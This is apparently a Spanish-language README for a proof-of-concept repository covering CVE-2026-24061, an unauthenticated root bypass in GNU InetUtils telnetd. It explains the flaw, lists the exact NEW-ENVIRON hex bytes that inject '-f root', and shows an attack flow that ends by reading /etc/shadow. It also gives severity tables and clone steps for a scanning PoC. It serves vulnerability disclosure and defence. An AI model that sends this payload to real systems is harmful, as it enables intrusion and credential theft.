
GNU InetUtils telnetd - Root remoto no autenticado mediante inyección de variable NEW-ENVIRON.
GNU InetUtils telnetd - Root Remoto No Autenticado mediante Inyección de Variable NEW-ENVIRON
Resumen - Análisis Técnico - Versiones Afectadas - Uso - Remediación - Referencias
CVE-2026-24061 es una vulnerabilidad crítica de bypass de autenticación en el demonio telnetd distribuido como parte de GNU InetUtils. El fallo reside en el manejo de la opción Telnet NEW-ENVIRON (RFC 1572) durante el handshake inicial del protocolo.
La causa raíz es la falta de saneamiento de las variables de entorno proporcionadas por el cliente antes de pasarlas al programa login(1). Cuando el demonio Telnet recibe un paquete de sub-negociación NEW-ENVIRON IS que contiene la variable USER con el valor -f root, pasa este valor sin sanear directamente al binario login del sistema.
En sistemas donde login acepta la bandera -f (forzar inicio de sesión sin verificación de contraseña), esto resulta en una sesión root no autenticada otorgada al atacante remoto.
Esta clase de vulnerabilidad tiene precedente histórico: CVE-2001-0797 en SysV telnetd y el conocido bypass -f de Linux telnetd de 1994 explotaron el mismo fallo fundamental de no sanear argumentos provenientes de variables de entorno pasados a binarios privilegiados.
No se requieren credenciales. No se necesita acceso previo. Una sola secuencia de paquetes de red logra root.
GNU InetUtils telnetd procesa la sub-negociación NEW-ENVIRON (código de opción 0x27, según RFC 1572) para recopilar variables de entorno proporcionadas por el cliente. Estas variables se ensamblan en un vector de argumentos y se pasan a execve(2) al invocar login(1).
La vulnerabilidad se desencadena de la siguiente manera:
IAC DO NEW-ENVIRON, solicitando variables de entorno al cliente.IAC WILL NEW-ENVIRON.IAC SB NEW-ENVIRON SEND IAC SE.IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd construye la invocación de login como login -f root.login(1) interpreta -f como "forzar inicio de sesión, omitir autenticación" e inicia sesión con el usuario especificado (root) sin requerir contraseña.| Paso | Dirección | Bytes Telnet (hex) | Significado |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f rootEl binario login(1) en muchos sistemas Linux acepta la bandera -f <usuario> para inicios de sesión "pre-autenticados", usada históricamente por multiplexores de terminal y rlogin. Cuando telnetd construye su llamada exec y no elimina guiones iniciales ni valida cadenas similares a opciones en los valores de variables de entorno, pasa inadvertidamente banderas controladas por el atacante directamente a login.
La llamada efectiva se convierte en:
execve("/bin/login", ["login", "-f", "root"], envp);
Atacante telnetd vulnerable (puerto 23)
| |
|------- TCP SYN (puerto 23) ---------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Banner Telnet + IAC DO NEW-ENVIRON --------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd llama: login -f root] |
| |
|<------ Prompt de shell root (#) ------------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root contenido /etc/shadow ----|
Requisitos previos:
telnetd (TCP/23 abierto)inetutilslogin(1) soporta la bandera -f (estándar en la mayoría de distribuciones Linux)| Software | Versiones Afectadas | Estado |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (versión parcheada específica por determinar) | Vulnerable |
| Distribuciones que incluyen GNU inetutils sin parchear | Varias | Consultar aviso del proveedor |
Verifique si su distribución incluye una versión parcheada. Muchos sistemas modernos tienen Telnet deshabilitado por defecto; la exposición requiere un
telnetdejecutándose explícitamente.
| Métrica | Valor |
|---|---|
| Puntuación Base CVSS v3.1 | 9.8 (Crítica) |
| Vector de Ataque | Red |
| Complejidad de Ataque | Baja |
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Ninguna |
| Alcance | Sin cambios |
| Impacto de Confidencialidad | Alto |
| Impacto de Integridad | Alto |
| Impacto de Disponibilidad | Alto |
| Cadena de Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ID ATT&CK | Táctica | Técnica | Relevancia |
|---|---|---|---|
| T1190 | Acceso Inicial | Explotar Aplicación Expuesta al Público | Explotación directa de telnetd a través de la red |
| T1059 | Ejecución | Intérprete de Comandos y Scripts | Ejecución de shell post-explotación |
| T1078.004 | Escalada de Privilegios / Evasión de Defensa | Cuentas Válidas: Cuentas Locales | El bypass de autenticación produce una sesión root válida |
| T1548 | Escalada de Privilegios | Abuso de Mecanismo de Control de Elevación | Bandera login -f abusada para omitir PAM/autenticación |
| T1046 | Descubrimiento | Descubrimiento de Servicios de Red | Componente de escaneo masivo del PoC |
Requisitos: Python 3 (solo biblioteca estándar, cero dependencias externas).
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
No se necesita pip install. Ambos scripts usan únicamente la biblioteca estándar de Python.